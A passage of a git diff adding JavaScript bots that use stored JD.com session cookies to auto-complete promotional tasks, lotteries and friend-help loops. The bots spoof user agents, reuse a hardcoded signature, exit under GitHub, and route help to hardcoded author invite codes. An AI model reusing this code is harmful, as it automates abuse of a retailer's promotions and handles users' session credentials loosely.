await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + message += `本次运行获得${$.earn}红包` + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + console.log(`去助力好友${code}`) + const helpRes = await doSupport(code); + await $.wait(1000) + } +} + +async function superBox() { + $.earn = 0.0 + await drawInfo() + await getTask() + await drawInfo(false) + await helpFriends() +} + + +function getTask() { + return new Promise(resolve => { + $.get(taskUrl('apTaskList',{"linkId":"xrfyA3nByKnAd7qxzmURNQ","encryptPin":""}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + for(let vo of data.data){ + if(vo.taskType==='BROWSE_SHOP'){ + if(vo.taskDoTimes { + $.get(taskUrl('apTaskDetail',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + $.canDone = true + for(let vo of data.data.taskItemList){ + await doTask(taskId,taskType,vo.itemId) + if(!$.canDone) break + await $.wait(1000) + } + } else { + console.log(`任务获取失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function doTask(taskId,taskType,itemId) { + let body = { + "taskId":taskId, + "taskType":taskType, + "channel":4, + "itemId":itemId, + "linkId":"xrfyA3nByKnAd7qxzmURNQ", + "encryptPin":"" + } + return new Promise(resolve => { + $.post(taskPostUrl('apDoTask',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + + if (data.success) { + console.log(`任务完成成功`) + } else { + $.canDone = false + console.log(`任务完成失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function drawInfo(share=true) { + let body = {"taskId":"","linkId":"xrfyA3nByKnAd7qxzmURNQ","encryptPin":""} + return new Promise(resolve => { + $.get(taskUrl('superboxSupBoxHomePage',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + if(share) { + console.log(`您的好友助力码为${data.data.encryptPin}`) + } + else { + console.log(`剩余抽奖次数${data.data.lotteryNumber}`) + let i = data.data.lotteryNumber + if (i) console.log(`去抽奖`) + while (i--) { + await draw() + await $.wait(1000) + } + } + } else { + console.log(`抽奖失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function draw() { + let body = {"taskId":"","linkId":"xrfyA3nByKnAd7qxzmURNQ","encryptPin":""} + return new Promise(resolve => { + $.get(taskUrl('superboxOrdinaryLottery',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + if(data.data.discount) { + if(data.data.rewardType===2) { + $.earn += parseFloat(data.data.discount) + console.log(`获得${data.data.discount}红包`) + }else{ + console.log(`获得优惠券`) + } + } + else + console.log(`获得空气`) + } else { + console.log(`抽奖失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doSupport(shareId) { + let body = {"taskId":"61","linkId":"xrfyA3nByKnAd7qxzmURNQ","encryptPin":shareId} + return new Promise(resolve => { + $.get(taskUrl('superboxSupBoxHomePage',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log(`助力成功`) + } else { + console.log(`助力失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getTs() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 +} + +function taskPostUrl(function_id, body = {}) { + const t = getTs() + return { + url: `${JD_API_HOST}`, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${t}&appid=activities_platform`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://prodev.m.jd.com", + "Cookie": cookie, + 'dnt': '1', + 'pragma': 'no-cache', + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" + } + } +} + +function taskUrl(function_id, body = {}) { + const t = getTs() + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${t}&appid=activities_platform`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDSUPERBOX_SHARECODES) { + if (process.env.JDSUPERBOX_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDSUPERBOX_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDSUPERBOX_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}PK助力码\n`); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null // await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://jd.turinglabs.net/api/v2/jd/festival/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个PK助力码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_tcl.js b/activity/jd_tcl.js new file mode 100644 index 0000000..451d850 --- /dev/null +++ b/activity/jd_tcl.js @@ -0,0 +1,472 @@ +// author:疯疯 +/* +球队赢好礼 +默认:不加购物车,不注册店铺会员卡。 +活动地址:https://mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct?id=tclTeamAct002&user_id=10299171 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============QuantumultX============== +[task_local] +#球队赢好礼 +10 1 * * * jd_tcl.js, tag=球队赢好礼, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyjd.png, enabled=true +=================Loon=============== +[Script] +cron "10 1 * * *" script-path=jd_tcl.js,tag=球队赢好礼 +=================Surge============== +[Script] +球队赢好礼 = type=cron,cronexp="10 1 * * *",wake-system=1,timeout=3600,script-path=jd_tcl.js + +============小火箭========= +球队赢好礼 = type=cron,script-path=jd_tcl.js, cronexpr="10 1 * * *", timeout=3600, enable=true +*/ + +const $ = new Env("球队赢好礼"); +const notify = $.isNode() ? require("./sendNotify") : ""; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const sck = $.isNode() ? "set-cookie" : "Set-Cookie"; +let cookiesArr = [], + cookie = "", + message; +let shareUUID= [ + '262AD0499F3DBB829A73A2D6A7C9B4F32616D531C3528AC13306F568F805BCBC98C78860AD2DDA6EACB606811A93B977D5541778D6BA2AAA3F72022FEF371B086688517369194A1C9489E6861B365E9DCC404E4905CE4ACDDDB48F49F13BFF8E', + '262AD0499F3DBB829A73A2D6A7C9B4F32616D531C3528AC13306F568F805BCBC98C78860AD2DDA6EACB606811A93B977D5541778D6BA2AAA3F72022FEF371B086688517369194A1C9489E6861B365E9DCC404E4905CE4ACDDDB48F49F13BFF8E' +] +let isPurchaseShops = false +isPurchaseShops = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS : isPurchaseShops) : ($.getdata("isPurchaseShops") ? $.getdata("isPurchaseShops") : isPurchaseShops); + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...jsonParse($.getdata("CookiesJD") || "[]").map((item) => item.cookie), + ].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/client.action"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + { "open-url": "https://bean.m.jd.com/" } + ); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await genToken(); + await isvObfuscator(); + await setCookie(); + await main() + } + } + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${message}\n\n如需做注册店铺会员任务,请点击下方链接手动完成\nhttps%3A%2F%2Fmpdz-isv.isvjcloud.com%2Fql%2Ffront%2Ftcl002%2FloadTclAct%3Fid%3DtclTeamAct002%26user_id%3D10299171\n\nhttps://mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct?id=tclTeamAct002&user_id=10299171`); +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +function showMsg() { + return new Promise(resolve => { + $.log($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} +async function main() { + await loadAct() + await helpFriend(shareUUID[Math.floor(Math.random() * 2)]) + await sign() + await $.wait(1000) + await getShopList() + if (isPurchaseShops) await getGoodsList() + await browse() + await $.wait(1000) + await browse(1) + await $.wait(1000) + await draw() +} + +function helpFriend(inviterNickAes = '4C8602ED441A318612CD57B4A16EB59EE8AF00C05E1043CAA3E9C10B6DA615700C9463CE3D33670238160230F84D490EE29440149504E2EB1EAD11840F8E2980DDDA672BF446E2FCC0D1D6B4E52826D1') { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/helpFriend', `inviterNickAes=${inviterNickAes}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + console.log(data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function loadAct() { + return new Promise((resolve) => { + $.get(taskGetUrl(), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + //console.log(data) + let id = data.match(//) + //console.log('好友助力码' + id[1]) + if (data.indexOf('
') === -1) { + console.log(`未选择球队,去选择`) + await chooseTeam() + } else { + console.log(`已选择球队`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function chooseTeam() { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/chooseTeam', `team=0`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + console.log(`选择队伍结果:` + data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function sign() { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/goSign'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + console.log(`签到结果:` + data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function browse(type = 0) { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/browesVenue', `type=${type}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + console.log(`浏览会场结果:` + data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function getShopList() { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/showshopload'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + for (let vo of data.data) { + if (!vo.followFlag) { + await browseShop(vo.id) + await $.wait(1000) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function browseShop(shopId) { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/goBrowseShop', `shopId=${shopId}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + console.log('关注店铺结果:' + data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function getGoodsList() { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/showgoodsload'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + for (let vo of data.data) { + if (!vo.itemFlag) { + await goPlus(vo.skuId) + await $.wait(1000) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function goPlus(goodId) { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/goplus', `goodId=${goodId}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + console.log('加入购物车结果:' + data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function draw() { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/drawTcl002', ``), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + message = '抽奖结果:' + data.msg + console.log('抽奖结果:' + data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function genToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body: 'uuid=8888888&client=apple&clientVersion=9.5.2&st=1619194107036&sign=8feb09628c3c7a76dd0f2f8a694eaf79&sv=100&body=%7B%22to%22%3A%22https%3A//mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct%3Fid%3DtclTeamAct002%26user_id%3D10299171%26comeResource%3D10%26bizExtString%3D4C8602ED441A318612CD57B4A16EB59EE8AF00C05E1043CAA3E9C10B6DA615700C9463CE3D33670238160230F84D490EE29440149504E2EB1EAD11840F8E2980DDDA672BF446E2FCC0D1D6B4E52826D1%22%2C%22action%22%3A%22to%22%7D', + headers: { + Host: "api.m.jd.com", + accept: "*/*", + "user-agent": "JD4iPhone/167638 (iPhone; iOS 13.7; Scale/3.00)", + "accept-language": + "zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6", + "content-type": "application/x-www-form-urlencoded", + Cookie: cookie, + }, + }; + return new Promise((resolve) => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.isvToken = data["tokenKey"]; + // console.log($.isvToken); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function isvObfuscator() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 